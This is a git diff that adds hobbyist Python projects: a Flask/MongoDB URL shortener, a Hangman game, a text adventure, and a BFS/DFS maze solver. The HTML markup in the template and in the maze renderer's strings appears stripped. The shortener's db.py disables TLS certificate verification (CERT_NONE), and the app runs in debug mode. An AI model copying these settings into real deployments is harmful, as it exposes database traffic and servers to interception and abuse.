+ + + + + + + + + \ No newline at end of file diff --git a/FLASK PROJECTS/Url Shortening App in Flask/.gitignore b/FLASK PROJECTS/Url Shortening App in Flask/.gitignore new file mode 100644 index 00000000..cacc9e19 --- /dev/null +++ b/FLASK PROJECTS/Url Shortening App in Flask/.gitignore @@ -0,0 +1,5 @@ +*.pyc +/__pycache__ +.env +client_secret.json +do_not_commit \ No newline at end of file diff --git a/FLASK PROJECTS/Url Shortening App in Flask/README.md b/FLASK PROJECTS/Url Shortening App in Flask/README.md new file mode 100644 index 00000000..89e9be3d --- /dev/null +++ b/FLASK PROJECTS/Url Shortening App in Flask/README.md @@ -0,0 +1,66 @@ + +![Star Badge](https://img.shields.io/static/v1?label=%F0%9F%8C%9F&message=If%20Useful&style=style=flat&color=BC4E99) +![Open Source Love](https://badges.frapsoft.com/os/v1/open-source.svg?v=103) + +# URL Shortening Application in Flask + +## ðŸ› ï¸ Description +This project is about developing a url shortening application in **Flask** and **MongoDB**. User will paste their long URLs in this application and will get a shortened url, which will redirect to the same long url once used in a browser. + +## âš™ï¸ Languages or Frameworks Used + - Flask, MongoDB + - HTML, CSS, Bootstrap + + +## 🌟 How to run + - ### Install all the requirements + Run `pip install -r requirements.txt` to install all the requirements. + - ### MongoDB Setup for Project + + - Download monogdb from the [official website](https://www.mongodb.com/try/download/community) and setup in your local system for testing. + - Once it is setup locally, try creating documents and collections in mongodb to familiarize yourself with it. + - You can also download the `MongoDB Compass`, which is the GUI version of Mongo Shell. + - Once all the local testing is done, you can create a free cloud version of MongoDB in [MongoDB Atlas](https://www.mongodb.com/cloud/atlas/register) and get the following credentials from the dashboard of atlas: + ```bash +export MONGO_URI=YOUR_MONGO_URI +export MONGO_USERNAME=YOUR_MONGO_USERNAME +export MONGO_PASSWORD=YOUR_MONGO_PASSWORD +``` + + +- ### Setup Environment for the project + - Now create a `.env` file in your project dreictory and include the following parameters as it is :- +```bash +export ENVIRONMENT=local | production (choose on the basis of local or production environment) +export APP_SECRET=YOUR_APP_SECRET +export APP_URL=YOUR_APP_URL (the short url) +export MONGO_URI=YOUR_MONGO_URI +export MONGO_USERNAME=YOUR_MONGO_USERNAME +export MONGO_PASSWORD=YOUR_MONGO_PASSWORD +export DB_NAME=YOUR_DATABASE_NAME +``` + +- ### Now Just, Run the project + - To the run the project, go to the `bash` terminal of VSCode or any other code editor and run `./start_server.sh`. + - You don't have to care about setting `.env` then yourself then. + + +## 📺 Demo +- Main screen of the application. +![image](https://github.com/MBSA-INFINITY/Python-project-Scripts/assets/85332648/94825306-1803-4e48-95d1-4f65bd94fcc1) +- Paste you long URL in the input. +![image](https://github.com/MBSA-INFINITY/Python-project-Scripts/assets/85332648/a5dd5bf5-b311-4d72-b84f-ebf197e30009) +- Click on Shorten and copy the `short url` to clipboard +![image](https://github.com/MBSA-INFINITY/Python-project-Scripts/assets/85332648/4eeb3d39-ddfe-48b0-9c2c-23ffe01036cd) + + + +## 🤖 Author + +Github - [MBSA-INFINITY](https://github.com/MBSA-INFINITY) +LinkedIn - [MBSAIADITYA](https://www.linkedin.com/in/mbsaiaditya/) +Portfolio - [MBSA](https://mbsaiaditya.in/) + + + + diff --git a/FLASK PROJECTS/Url Shortening App in Flask/app.py b/FLASK PROJECTS/Url Shortening App in Flask/app.py new file mode 100644 index 00000000..0cabf608 --- /dev/null +++ b/FLASK PROJECTS/Url Shortening App in Flask/app.py @@ -0,0 +1,65 @@ +from flask import Flask, request, render_template, redirect, flash +from helpers import random_string_generator, random_string_generator_only_alpha, is_valid_url +from db import url_data_collection +import os +from datetime import datetime + + +app = Flask(__name__) +app.secret_key = os.environ['APP_SECRET'] + +url_ = os.environ['APP_URL'] + +reserved_keywords = ['login', 'logout', 'shorten-url'] + + +@app.route("/", methods = ['GET']) +def start(): + return render_template("index.html") + +@app.route("/shorten-url", methods=['POST']) +def shorten_url(): + data = request.form + url_input = data.get("url_input") + data_id = random_string_generator_only_alpha(10) + if not is_valid_url(str(url_input)): + flash({'type':'error', 'data':"Inavlid URL"}) + return redirect("/") + random_slug = random_string_generator(7) + shortened_url = f"{url_}/{random_slug}" + shortened_url_ = shortened_url[len(url_)+1:] + if shortened_url == url_input: + flash({'type':'error', 'data':"Infinite Redirect Error!"}) + return redirect("/") + first_keyword = shortened_url_.split("/")[0] + if first_keyword in reserved_keywords: + flash({'type':'error', 'data':f"{first_keyword} is a reserved keyword! Please use any other word!"}) + return redirect("/") + incoming_data = { + "no_of_/": shortened_url_.count("/"), + "order": shortened_url_.split("/"), + "redirect_url": url_input, + "shortened_url": shortened_url, + "data_id": data_id, + "created_at": datetime.now() + } + if url_details := url_data_collection.find_one({"no_of_/": incoming_data['no_of_/'], "order":incoming_data['order']}): + flash({'type':'error', 'data':"This Domain is Already Taken!"}) + return redirect("/") + url_data_collection.insert_one(incoming_data) + flash({'type':'data', 'data':shortened_url}) + return redirect("/") + + +@app.before_request +def before_request_func(): + host_url = request.host_url + url = request.url + url = url[len(host_url):] + incoming_data = { + "no_of_/":url.count("/"), + "order":url.split("/") + } + if url_details := url_data_collection.find_one({"no_of_/": incoming_data['no_of_/'], "order":incoming_data['order']}): + redirect_url = url_details.get("redirect_url") + return redirect(redirect_url) diff --git a/FLASK PROJECTS/Url Shortening App in Flask/db.py b/FLASK PROJECTS/Url Shortening App in Flask/db.py new file mode 100644 index 00000000..1eb5c4a3 --- /dev/null +++ b/FLASK PROJECTS/Url Shortening App in Flask/db.py @@ -0,0 +1,20 @@ +import os +import pymongo + +ENVIRONMENT = os.environ["ENVIRONMENT"] +if ENVIRONMENT == "local": + connection_string = "mongodb://localhost:27017" + DB_NAME = "url_shortener" +else: + MONGO_CLUSTER = os.environ["MONGO_URI"] + MONGO_USERNAME = os.environ["MONGO_USERNAME"] + MONGO_PASSWORD = os.environ["MONGO_PASSWORD"] + DB_NAME = os.environ["DB_NAME"] + connection_string = f"mongodb+srv://{MONGO_USERNAME}:{MONGO_PASSWORD}@{MONGO_CLUSTER}/?retryWrites=true&ssl=true&ssl_cert_reqs=CERT_NONE&w=majority" + + +db_client = pymongo.MongoClient(connection_string) +db_client = db_client.get_database(DB_NAME) + +url_data_collection = db_client['url_data'] + diff --git a/FLASK PROJECTS/Url Shortening App in Flask/helpers.py b/FLASK PROJECTS/Url Shortening App in Flask/helpers.py new file mode 100644 index 00000000..48359076 --- /dev/null +++ b/FLASK PROJECTS/Url Shortening App in Flask/helpers.py @@ -0,0 +1,26 @@ +import string +import random +import re + +def random_string_generator(N): + res = ''.join(random.choices(string.ascii_lowercase + + string.digits, k=N)) + return str(res) + +def random_string_generator_only_alpha(N): + res = ''.join(random.choices(string.ascii_lowercase + + string.ascii_uppercase, k=N)) + return str(res) + + +def is_valid_url(url): + # Define a regular expression pattern to match URLs + url_pattern = re.compile( + r'^(https?|ftp)://' # Match the scheme (http, https, or ftp) + r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+[A-Z]{2,6}\.?|' # Match domain + r'localhost|' # Match "localhost" + r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # Match IP address + r'(?::\d+)?' # Match optional port number + r'(?:/?|[/?]\S+)$', re.IGNORECASE) + + return bool(url_pattern.match(url)) \ No newline at end of file diff --git a/FLASK PROJECTS/Url Shortening App in Flask/requirements.txt b/FLASK PROJECTS/Url Shortening App in Flask/requirements.txt new file mode 100644 index 00000000..0508289a --- /dev/null +++ b/FLASK PROJECTS/Url Shortening App in Flask/requirements.txt @@ -0,0 +1,2 @@ +Flask==2.0.1 +pymongo[srv]==4.3.3 diff --git a/FLASK PROJECTS/Url Shortening App in Flask/run.py b/FLASK PROJECTS/Url Shortening App in Flask/run.py new file mode 100644 index 00000000..7df7bd4b --- /dev/null +++ b/FLASK PROJECTS/Url Shortening App in Flask/run.py @@ -0,0 +1,3 @@ +from app import app +if __name__ == '__main__': + app.run(debug=True) \ No newline at end of file diff --git a/FLASK PROJECTS/Url Shortening App in Flask/start_server.sh b/FLASK PROJECTS/Url Shortening App in Flask/start_server.sh new file mode 100644 index 00000000..0c9973db --- /dev/null +++ b/FLASK PROJECTS/Url Shortening App in Flask/start_server.sh @@ -0,0 +1,2 @@ +source .env +python run.py \ No newline at end of file diff --git a/FLASK PROJECTS/Url Shortening App in Flask/templates/index.html b/FLASK PROJECTS/Url Shortening App in Flask/templates/index.html new file mode 100644 index 00000000..983cf5a8 --- /dev/null +++ b/FLASK PROJECTS/Url Shortening App in Flask/templates/index.html @@ -0,0 +1,210 @@ + + + + + + + + + + URL Shortener + + + + + + + + + + + + + + +
+ + + + {% with messages = get_flashed_messages() %} +{% if messages %} +{% for message in messages %} +{% if message['type'] == 'data' %} +
+
    +
  • {{message['data']}}
    +
  • +
+
+{% elif message['type'] == 'error' %} +
+
    +
  • {{message['data']}}
  • +
+
+{% endif %} +{% endfor %} +{% endif %} +{% endwith %} +
+
+ +

URL Shortening using Flask

+
+ +
+ +
+

Paste the URL to be Shortened

+
+
+
+ + +
+
+
+ +
+
+
+
+ + +
+ + + + + + + + + + diff --git a/GAMES/Hangman (using classes)/README.md b/GAMES/Hangman (using classes)/README.md new file mode 100644 index 00000000..655d459c --- /dev/null +++ b/GAMES/Hangman (using classes)/README.md @@ -0,0 +1,27 @@ +Hangman Game + +This is a Hangman game created using object-oriented Python programming language (classes). + +This game runs and can be interacted in a console. + +By studying this code, you can learn how to apply classes and objects in your code, use "random" module to randomize values, and get a bit familiar of list comprehension. + +This hangman game has 3 categories of words: fruit, vegetable, and animal. However, you can easily add more categories by following the examples in assign_words_for_category() function. + +You can also configure how each difficulties as you want. The current list of difficulties includes easy, normal, and hard. + +To create a class instance, you can start by taking a look at line 100th. +In this case, it is my_hangman = Hangman("fruit", "hard") + instance_name = class_name(argument(s)) +The "my_hangman" is an instance, Hangman is a class, and "fruit" and "hard" are arguments. +The next 2 lines are function callings. +To start the game, we have to call these two functions namely welcome_message() to print out a welcome message, and start_the_game() to start the game. + +Normally, when we want to call a function, we only need to type function_name(). However, in this case, the functions are in the class, so we have to "instance_name.function_name()" to call a function in a class. + +Finally, you can learn more by looking at this code. + +Also don't forget to "import random". + + +This is my second contribution in my entire life so far. If you don't mind, I want to showcase this in my portfolio. diff --git a/GAMES/Hangman (using classes)/hangman.py b/GAMES/Hangman (using classes)/hangman.py new file mode 100644 index 00000000..88bb9c33 --- /dev/null +++ b/GAMES/Hangman (using classes)/hangman.py @@ -0,0 +1,105 @@ +import random + +class Hangman: + def __init__(self, category, difficulty): + self.category = category + self.difficulty = difficulty + self.word = None + self.word_list = None + self.hint_words = None + self.hint_indices = None + self.num_of_hint_words = None + self.guess_display = None + self.user_guess = None + self.game_active = None + self.attempts = None + self.restart = None + + def assign_words_for_category(self): # you can add more categories here. + if self.category == "fruit": + self.word_list = ["apple", "banana", "orange", "grape", "strawberry", "mango", "pineapple", + "kiwi", "pear", "peach", "plum", "watermelon", "melon", "cherry", "blueberry", "raspberry"] + elif self.category == "vegetable": + self.word_list = ['carrot', 'potato', 'broccoli', 'cauliflower', 'cucumber', 'lettuce', 'kale', + 'cabbage', 'onion', 'garlic', 'tomato', 'eggplant', 'beetroot', 'radish', 'asparagus', 'beans', 'peas'] + elif self.category == "animal": + self.word_list = ["dog", "cat", "lion", "tiger", "elephant", "giraffe", "monkey", "kangaroo", "penguin", + "whale", "dolphin", "shark", "alligator", "crocodile", "snake", "spider", "bee", "ant", "bird", "fish"] + + def randomize_words(self): + self.word = random.choice(self.word_list) + + def create_hint(self): # this creates hint letters as indices. + self.hint_indices = random.sample(range(len(self.word)), self.num_of_hint_words) + + def set_difficulty(self): # here you can configure different difficulties + if self.difficulty == "easy": + self.num_of_hint_words = round(len(self.word)*0.4) # amounts of hints equals to 40% of length + self.attempts = 10 + elif self.difficulty == "normal": + self.num_of_hint_words = round(len(self.word)*0.3) # amounts of hints equals to 30% of length + self.attempts = 7 + elif self.difficulty == "hard": + self.num_of_hint_words = round(len(self.word)*0.2) # amounts of hints equals to 20% of length + self.attempts = 5 + + def start_the_game(self): + self.assign_words_for_category() + self.randomize_words() + self.set_difficulty() + self.create_hint() + self.place_chars() + self.input_guess() + self.ask_if_restart() + + def welcome_message(self): + print("Welcome to Hangman!") + print("Here you can try guessing letters of a randomly generated words based on hints!") + print(f"Category: {self.category}") + print("Good luck!") + + def place_chars(self): + self.guess_display = ["_" for char in self.word] + for i in self.hint_indices: + self.guess_display[i] = self.word[i] + print("--------------------------------------") + print(" ".join(self.guess_display)) + + def input_guess(self): + self.game_active = True + while self.game_active and self.attempts > 0: + self.user_guess = input("Guess a letter: ") + + if self.user_guess in self.word: + self.guess_display = [self.user_guess if list(self.word)[i] == self.user_guess else char for i, char in enumerate(self.guess_display)] + print("--------------------------------------") + print(" ".join(self.guess_display)) + + else: + print("wrong!") + self.attempts -= 1 + print(f"{self.attempts} attempt(s) remaining") + + if "_" not in self.guess_display: + print("You won!") + break + + if self.attempts == 0: + print("You ran out of attempts!") + break + + def ask_if_restart(self): + self.restart = input("Do you want to play more? [Y/N]: ") + if self.restart == "Y" or self.restart == "y": + self.start_the_game() + elif self.restart == "N" or self.restart == "n": + quit() + +# This is where you create an instance +try: + my_hangman = Hangman("fruit", "hard") # (Category, Difficulty) Categories: fruit, vegetable, animal. Difficulties: easy, normal, hard. + my_hangman.welcome_message() + my_hangman.start_the_game() + +except: + print("Please make sure the initialization arguments are strings.") \ No newline at end of file diff --git a/GAMES/Hunter_Island/Hunters_Island.py b/GAMES/Hunter_Island/Hunters_Island.py new file mode 100644 index 00000000..f65b5899 --- /dev/null +++ b/GAMES/Hunter_Island/Hunters_Island.py @@ -0,0 +1,51 @@ +print("Welcome to Hunters Island\nExplore and you could gain riches\n") + +question1 = input("You arrive on hunters island. Do you stay stay on the 'riverside' or move into the 'forest'?\n") + +question1 = question1.lower() +if question1 == 'riverside': + print("A group of hunters arrive on the island with a boat and demand everything that you have while beating you up.") + question2 = input('''You are stranded on the island with nothing even your clothes shivering but a dark skinned lady walks over +through the horizon and covers you with a piece of cloth.\nYou awaken under the cover of some tall shrubs +without the lady in sight but discover some foods and clothes.\nYou eat and put the clothes on. Health +++. +\nDo you move towards the 'middle' of the island or 'stay'? ''') + question2 = question2.lower() + if question2 == 'middle': + question3 = input('''You have have reached a village of sort and you hear about the treasure on the island.\n +You need to climb a mountain to get there. You run into a forked pathway. +\nDo you go 'right' or 'left?\n''') + question3 = question3.lower() + if question3 == 'right': + treasure = input("You find an ancient castle with 3 rooms that have three doors, which do you enter: 'modern' door, 'scratched' door and 'metal' door?\n") + treasure = treasure.lower() + if treasure == 'scratched': + print("You found the treasure chest!!!") + else: + print("Lost in a vortex\nGame Over!!!") + else: + print("Fell into a trap.\nGame Over") + else: + print("A tiger appears and kills you.\nGame Over") + +elif question1 == 'forest': + print("You entered the forest just as a group of hunters arrive on the island, so you were able to hide from them.") + question4 = input("You listen in on them and find out that they have a map to the treasure on the island.\nDo you 'steal' it or leave them alone and head to the 'middle' of the island?\n") + question4 = question4.lower() + if question4 == 'middle': + question3 = input('''You have have reached a village of sort and you hear about the treasure on the island.\n +You need to climb a mountain to get there. You run into a forked pathway. +\nDo you go 'right' or 'left?\n''') + question3 = question3.lower() + if question3 == 'right': + treasure = input("You find an ancient castle with 3 rooms that have three doors, which do you enter: 'modern' door, 'scratched' door and 'metal' door?\n") + treasure = treasure.lower() + if treasure == 'scratched': + print("You found the treasure chest!!!") + else: + print("Lost in a vortex\nGame Over!!!") + else: + print("Fell into a trap.\nGame Over") + else: + print("They kill you.\nGame Over") +else: + print("You try to swim away since the boat that brought you has left but you end up in the belly of a shark.\nGame Over") \ No newline at end of file diff --git a/GAMES/Hunter_Island/README.md b/GAMES/Hunter_Island/README.md new file mode 100644 index 00000000..30d60d05 --- /dev/null +++ b/GAMES/Hunter_Island/README.md @@ -0,0 +1,51 @@ +# Title: "Hunters Island Adventure" + +### Expected game output on the terminal +![Image of the game](./hunter.png) +## Introduction: +Welcome to "Hunters Island Adventure," an interactive text-based game where you take on the role of a stranded individual on a mysterious island. Your choices will determine your fate, whether you find riches or face peril. This game is all about decision-making, so choose wisely! + +### How to Play: + +**Start:** `You arrive on Hunters Island. You have two options: "riverside" or "forest." Type your choice, and let the adventure begin!` + +**Riverside:** + +You stay by the riverside, but a group of hunters arrives on the island, demanding everything you have. They beat you up. +A mysterious lady covers you with a cloth, and you find food and clothes. Your health increases. +Choose between moving to the 'middle' of the island or 'stay.' +Middle of the Island: + +You reach a village and learn about the island's treasure. +You face a forked pathway. Choose to go 'right' or 'left.' +Right Path: + +You find an ancient castle with three doors: 'modern,' 'scratched,' and 'metal.' +Choose a door, and your fate will be revealed. +Scratched Door: + +Congratulations! You found the treasure chest! +Any other door choice: + +You face various perils, and the game ends in failure. +Left Path or Any Other Choices: + +Different challenges and outcomes await you, potentially leading to failure. + +**Forest:** + +You enter the forest, avoiding the hunters. +You overhear the hunters talking about a treasure map. +Decide whether to 'steal' the map or head to the 'middle' of the island. +Middle of the Island (same as the Riverside Path): + +You reach the village, face a forked pathway, and ultimately discover the treasure's location. + +**Conclusion:** + +The game has multiple possible endings, depending on your choices. +Make strategic decisions to explore the island, avoid danger, and, hopefully, find the hidden treasure. + +**Game Over:** +Be cautious; there are numerous ways for the game to end in failure or even death. +Enjoy your adventure on Hunters Island, and may you uncover the legendary treasure! \ No newline at end of file diff --git a/GAMES/Hunter_Island/hunter.png b/GAMES/Hunter_Island/hunter.png new file mode 100644 index 00000000..800d1bcb Binary files /dev/null and b/GAMES/Hunter_Island/hunter.png differ diff --git a/GAMES/Maze-Solver/BFS.py b/GAMES/Maze-Solver/BFS.py new file mode 100644 index 00000000..491af680 --- /dev/null +++ b/GAMES/Maze-Solver/BFS.py @@ -0,0 +1,333 @@ +import Path_Backtrack + +import copy + +import Draw +import timeit +import time + + +class Queue: + + def __init__(self): + + self.Queue = [] + + + def Add_element(self, data): + + #print("data : ",data) + + + if data is None: + return + + + flag = any(isinstance(i, list) for i in data) + + + if not flag: + + self.Queue.append(data) + + else: + for i in data: + + self.Queue.append(i) + + + def remove(self): + + if len(self.Queue) != 0: + + last_element = self.Queue[0] + + self.Queue = self.Queue[1:] + + return last_element + + else: + + return 0 + + + def display(self): + + return self.Queue + + + def is_empty(self): + + return True if len(self.Queue) == 0 else False + + + +def read_file(FileLoc): + + Map = [] + + + with open(FileLoc) as file: + + lines = file.readlines() + + for line in lines: + + temp = [] + + temp.extend(line) + + + if "\n" in temp: + + temp.remove("\n") + + + Map.append(temp) + + + file.close() + + + #print("File loaded successfully") + + + return Map + + + +def Map_Dimension(map): + + row, column = 0, 0 + + row, column = len(map), len(map[0]) + + + return row, column + + + +def Location(map, element): + + row, column = Map_Dimension(map) + + #print(row,column) + + walls = [] + + + if element == "Walls": + + wall_element = "+" + + #print(row,column) + + for x in range(row): + + for y in range(column): + + #print(x,y) + + if map[x][y] == wall_element: + + walls.append([x, y]) + + + return walls + + else: + + for x in range(row): + + for y in range(column): + + if map[x][y] == element: + + return [x, y] + + + +def Available_move(map, pos, walls, explored): + + row, column = Map_Dimension(map) + + #print("pos : ", pos) + + up = [pos[0] - 1, pos[1]] + + down = [pos[0] + 1, pos[1]] + + left = [pos[0], pos[1] - 1] + + right = [pos[0], pos[1] + 1] + + + moves = [up, down, left, right] + + + result = copy.deepcopy(moves) + + + for x in range(4): + + i = moves[x] + + # print(i) + + if (i[0]) < 0: + if i in result: + + result.remove(i) + + if (i[1]) < 0: + if i in result: + + result.remove(i) + + if i[0] >= row: + if i in result: + + result.remove(i) + + if i[1] >= column: + if i in result: + + result.remove(i) + + + moves = copy.deepcopy(result) + + + for i in moves: + + if i in walls: + + result.remove(i) + + + moves = copy.deepcopy(result) + + + for i in moves: + + if i in explored: + + result.remove(i) + + + #print("available move : ", result) + + + if len(result) != 0: + return result + else: + + return None + + +def BFS_Algorithm(grid, start_point, end_point): + + t0 = timeit.default_timer() + + frontier = Queue() + + path = Path_Backtrack.Path_Finder() + + explored = [] + + destination = Location(grid, end_point) + + walls = Location(grid, "Walls") + + #print("Walls -->", walls) + + initial_position = Location(grid, start_point) + + frontier.Add_element(initial_position) + + while not frontier.is_empty(): + + #print("Frontier->", frontier.display()) + + previous = frontier.remove() + + #print(previous, "--> Pop Element") # printing pop element + + #print("Frontier->", frontier.display()) + + + if previous == destination: + + #path.Print() + + res = path.Trace(initial_position, destination) + + t1 = timeit.default_timer() + print(res) + + elapsed_time = round((t1 - t0) * 10 ** 6, 3) + + l = len(res) # type: ignore + + property = {"method":"BFS", + + "speed":str(elapsed_time)+str(" nano seconds"), + + "cost":str(len(explored)), + + "moves":str(l)} + + graph = Draw.Create_Graph(res,walls,Map_Dimension(grid),property,explored) + + graph.graph() + + return + else: + + #time.sleep(1) + + explored.append(previous) + + moves = Available_move(grid, previous, walls, explored) + + + #if moves is not None: + + # frontier.Add_element(moves) + + + path.Add_element(previous, moves) + + + if not moves: + + continue + else: + + frontier.Add_element(moves) + + else: + + print("No Solutions Found !") + + + #path.Trace(start_point, end_point) + + + +def runner(Loc,Start,Destination): + + #print("working 1") + + #location = Loc + + #location = File_Opener.get_path() + + Map = read_file(Loc) + + BFS_Algorithm(Map, Start, Destination) + + +#runner() + + diff --git a/GAMES/Maze-Solver/DFS.py b/GAMES/Maze-Solver/DFS.py new file mode 100644 index 00000000..3d0dfbd8 --- /dev/null +++ b/GAMES/Maze-Solver/DFS.py @@ -0,0 +1,199 @@ +import Path_Backtrack +import copy +import Draw +import timeit +import File_Opener + +class Stack: + def __init__(self): + self.stack = [] + + def Add_element(self, data): + # print("data : ",data) + + if data is None: + return + + flag = any(isinstance(i, list) for i in data) + + if not flag: + self.stack.append(data) + + else: + for i in data: + self.stack.append(i) + + def remove(self): + if len(self.stack) != 0: + last_element = self.stack.pop() + return last_element + + else: + return 0 + + def display(self): + return self.stack + + def is_empty(self): + return True if len(self.stack) == 0 else False + + +def read_file(FileLoc): + Map = [] + + with open(FileLoc) as file: + lines = file.readlines() + + for line in lines: + temp = [] + temp.extend(line) + + if "\n" in temp: + temp.remove("\n") + + Map.append(temp) + + file.close() + + #print("File loaded successfully") + + return Map + + +def Map_Dimension(map): + row, column = 0, 0 + row, column = len(map), len(map[0]) + + return row, column + + +def Location(map, element): + row, column = Map_Dimension(map) + #print(row,column) + walls = [] + + if element == "Walls": + wall_element = "+" + #print(row,column) + for x in range(row): + for y in range(column): + #print(x,y) + if map[x][y] == wall_element: + walls.append([x, y]) + + return walls + + else: + for x in range(row): + for y in range(column): + if map[x][y] == element: + return [x, y] + + +def Available_move(map, pos, walls, explored): + row, column = Map_Dimension(map) + #print("pos : ", pos) + up = [pos[0] - 1, pos[1]] + down = [pos[0] + 1, pos[1]] + left = [pos[0], pos[1] - 1] + right = [pos[0], pos[1] + 1] + + moves = [up, down, left, right] + + result = copy.deepcopy(moves) + + for x in range(4): + i = moves[x] + # print(i) + if (i[0]) < 0: + if i in result: + result.remove(i) + if (i[1]) < 0: + if i in result: + result.remove(i) + if i[0] >= row: + if i in result: + result.remove(i) + if i[1] >= column: + if i in result: + result.remove(i) + + moves = copy.deepcopy(result) + + for i in moves: + if i in walls: + result.remove(i) + + moves = copy.deepcopy(result) + + for i in moves: + if i in explored: + result.remove(i) + + #print("available move : ", result) + + if len(result) != 0: + return result + else: + return None + + +def DFS_Algorithm(grid, start_point, end_point): + t0 = timeit.default_timer() + frontier = Stack() + path = Path_Backtrack.Path_Finder() + explored = [] + destination = Location(grid, end_point) + walls = Location(grid, "Walls") + #print("Walls -->", walls) + initial_position = Location(grid, start_point) + frontier.Add_element(initial_position) + while not frontier.is_empty(): + + x = frontier.remove() + #print(x, "--> Pop Element") # printing pop element + #print("Frontier->", frontier.display()) + + if x == destination: + #path.Print() + res = path.Trace(initial_position, destination) + t1 = timeit.default_timer() + print(res) + elapsed_time = round((t1 - t0) * 10 ** 6, 3) + l = len(res) # type: ignore + property = {"method":"DFS", + "speed":str(elapsed_time)+str(" nano seconds"), + "cost":str(len(explored)), + "moves":str(l)} + graph = Draw.Create_Graph(res,walls,Map_Dimension(grid),property,explored) + graph.graph() + return + else: + explored.append(x) + moves = Available_move(grid, x, walls, explored) + + path.Add_element(x, moves) + + if not moves: + continue + else: + frontier.Add_element(moves) + + else: + print("No Solutions Found !") + + #path.Trace(start_point, end_point) + + +def runner(Loc,Start,Destination): + #print("working 1") + #location = Loc + #location = File_Opener.get_path() + Map = read_file(Loc) + + DFS_Algorithm(Map, Start, Destination) + + + +#runner() + diff --git a/GAMES/Maze-Solver/Draw.py b/GAMES/Maze-Solver/Draw.py new file mode 100644 index 00000000..788c617d --- /dev/null +++ b/GAMES/Maze-Solver/Draw.py @@ -0,0 +1,82 @@ +import os + +class Create_Graph: + def __init__(self,path,walls,dimension,properties,explored): + self.path = path + self.length = len(path) + self.walls = walls + self.dimension = dimension + self.properties = properties + self.seen = [] + for i in explored: + if i not in path: + self.seen.append(i) + self.path_string = "" + for i in path: + temp = str(i)+" --> " + self.path_string += temp + else: + self.path_string = self.path_string[:-3] + self.doc = [] + return None + def Create_script(self): + #doc = self.doc + doc = [ + "", + "", + "", + "Python Maze Solver", + "", + "", + "

Maze solver using Python

", + "

Method used : ", + self.properties["method"], + "

", + "

Execution Time : ", + self.properties["speed"], + "

", + "

Total Cells explored : ", + self.properties["cost"], + "

", + "

Distance : ", + str(self.length), # type: ignore + "

", + "" + ] + for i in range(self.dimension[0]): + doc.append("") + for j in range(self.dimension[1]): + if ([i,j] in self.path) or ((i,j) in self.path): + doc.append("") + elif ([i,j] in self.seen) or ((i,j) in self.seen): + doc.append("") + elif ([i,j] in self.walls) or ((i,j) in self.walls): + doc.append("") + else: + doc.append("") + doc.append("") + + doc.append("
") + doc.append("

") + doc.append(str("Path : "+self.path_string)) + doc.append("

") + doc.append("") + + return doc + def get_absolute_path(self): + current = os.getcwd() + return current + + def writefile(self): + docc = self.Create_script() + #print(docc) + method = self.properties["method"] + + filename = self.get_absolute_path()+"\\"+"Maze_Solution"+method+".html" + with open(filename, "w") as file: + file.writelines(docc) + file.close() + os.startfile(filename) + + def graph(self): + self.writefile() \ No newline at end of file diff --git a/GAMES/Maze-Solver/Main.py b/GAMES/Maze-Solver/Main.py new file mode 100644 index 00000000..4cdb89de --- /dev/null +++ b/GAMES/Maze-Solver/Main.py @@ -0,0 +1,40 @@ +import BFS +import DFS +import os +import time + +''' +Default parameters: + 1) maze.txt is the default maze file + 2) b is the default starting point + 3) p is the default destination point +''' +grid = str(os.getcwd())+"\\maze.txt" +#grid = "D:\Code\Txt\maze.txt" +start_point = "b" +end_point = "p" +print("***Welcome to Maze Solver***\n") + +print("Enter the Algorithm you want to use to solve the maze") +print("1. Depth First Search") +print("2. Breadth First Search") +print("3. Both\n") + +choice = int(input("Enter your choice : ")) + +if choice == 1: + print("You have selected Depth First Search") + DFS.runner(grid, start_point, end_point) +elif choice == 2: + print("You have selected Breadth First Search") + BFS.runner(grid, start_point, end_point) + +elif choice == 3: + print("You have selected Both") + + time.sleep(1) + BFS.runner(grid, start_point, end_point) + DFS.runner(grid, start_point, end_point) + +else: + print("Invalid Choice") \ No newline at end of file diff --git a/GAMES/Maze-Solver/Path_Backtrack.py b/GAMES/Maze-Solver/Path_Backtrack.py new file mode 100644 index 00000000..c666a1ee --- /dev/null +++ b/GAMES/Maze-Solver/Path_Backtrack.py @@ -0,0 +1,36 @@ +import time + +class Path_Finder: + def __init__(self): + self.routes = {} + + def Add_element(self, From, To): + if (From and To) is not None: + self.routes[tuple(From)] = (list(To)) + + def Print(self): + print(self.routes) + + def get_key(self, val): + for key, value in self.routes.items(): + #print("To find :",val,"in -->",key, "-->", value) + if val in value: + return key + + def Trace(self,start,destination): + Path,current = [],0 + end,start = tuple(destination),tuple(start) + + while current != start: + # time.sleep(2) + #print("start : ",start,"To : ",destination) + current = self.get_key(destination) + #print(current) + Path.insert(0,current) + if current == None: + break + destination = list(current) + + else: + Path.append(end) + return Path diff --git a/GAMES/Maze-Solver/README.md b/GAMES/Maze-Solver/README.md new file mode 100644 index 00000000..e274b2d9 --- /dev/null +++ b/GAMES/Maze-Solver/README.md @@ -0,0 +1,10 @@ +Run the main.py to start. +This program consist of two algorithms->BFS,DFS. +maze.txt is the maze file +" " -> path through which we can traverse. +"+" -> path through which we cann't traverse. + +the output path is displayed in terminal. +the gui version is displayed in browser along with many Statistics. + +Updates are Welcomed. diff --git a/GAMES/Maze-Solver/maze.txt b/GAMES/Maze-Solver/maze.txt new file mode 100644 index 00000000..15ad928c --- /dev/null +++ b/GAMES/Maze-Solver/maze.txt @@ -0,0 +1,50 @@ ++b++++++++++++++++++++++++++++++++++++++++++++++++ ++ ++ + + + + + ++ + ++ + + ++ + +++ +++ ++ ++++++++ ++ ++ +++ ++ + +++ ++ + ++ ++ ++ + ++ +++ +++ + +++ +++ + +++ + ++++ ++ + ++ ++ ++ + + +++ + + +++++++ ++ ++ ++ ++ +++ ++ ++ + + ++ + +++ + +++ + +++ +++ + ++ +++ ++ + ++ ++ ++++ ++ +++++++ ++ +++ + + + + +++ +++++ + + ++ + + ++ ++ ++ ++ + + + +++++ ++ + ++++ ++++ ++ + + ++ + + +++ + + ++ + ++ ++++ + ++ +++ + + +++ ++ ++ +++++ + + ++ + +++ ++++++ + + + + + + ++ + ++ ++ + + ++ + ++ ++++ +++ ++++ + ++ ++ ++ +++ ++ +++++ + + ++ + ++ + +++++ + +++ ++ ++ ++ ++ ++ + ++ ++ + + + + + +++++++ +++ ++ ++ ++ ++ ++ +++ + + ++ +++++ + + ++ ++ +++ + + ++ ++ + ++ +++++ +++++ ++++ +++ + ++ + + ++ ++ + ++ +++ +++++ ++ + 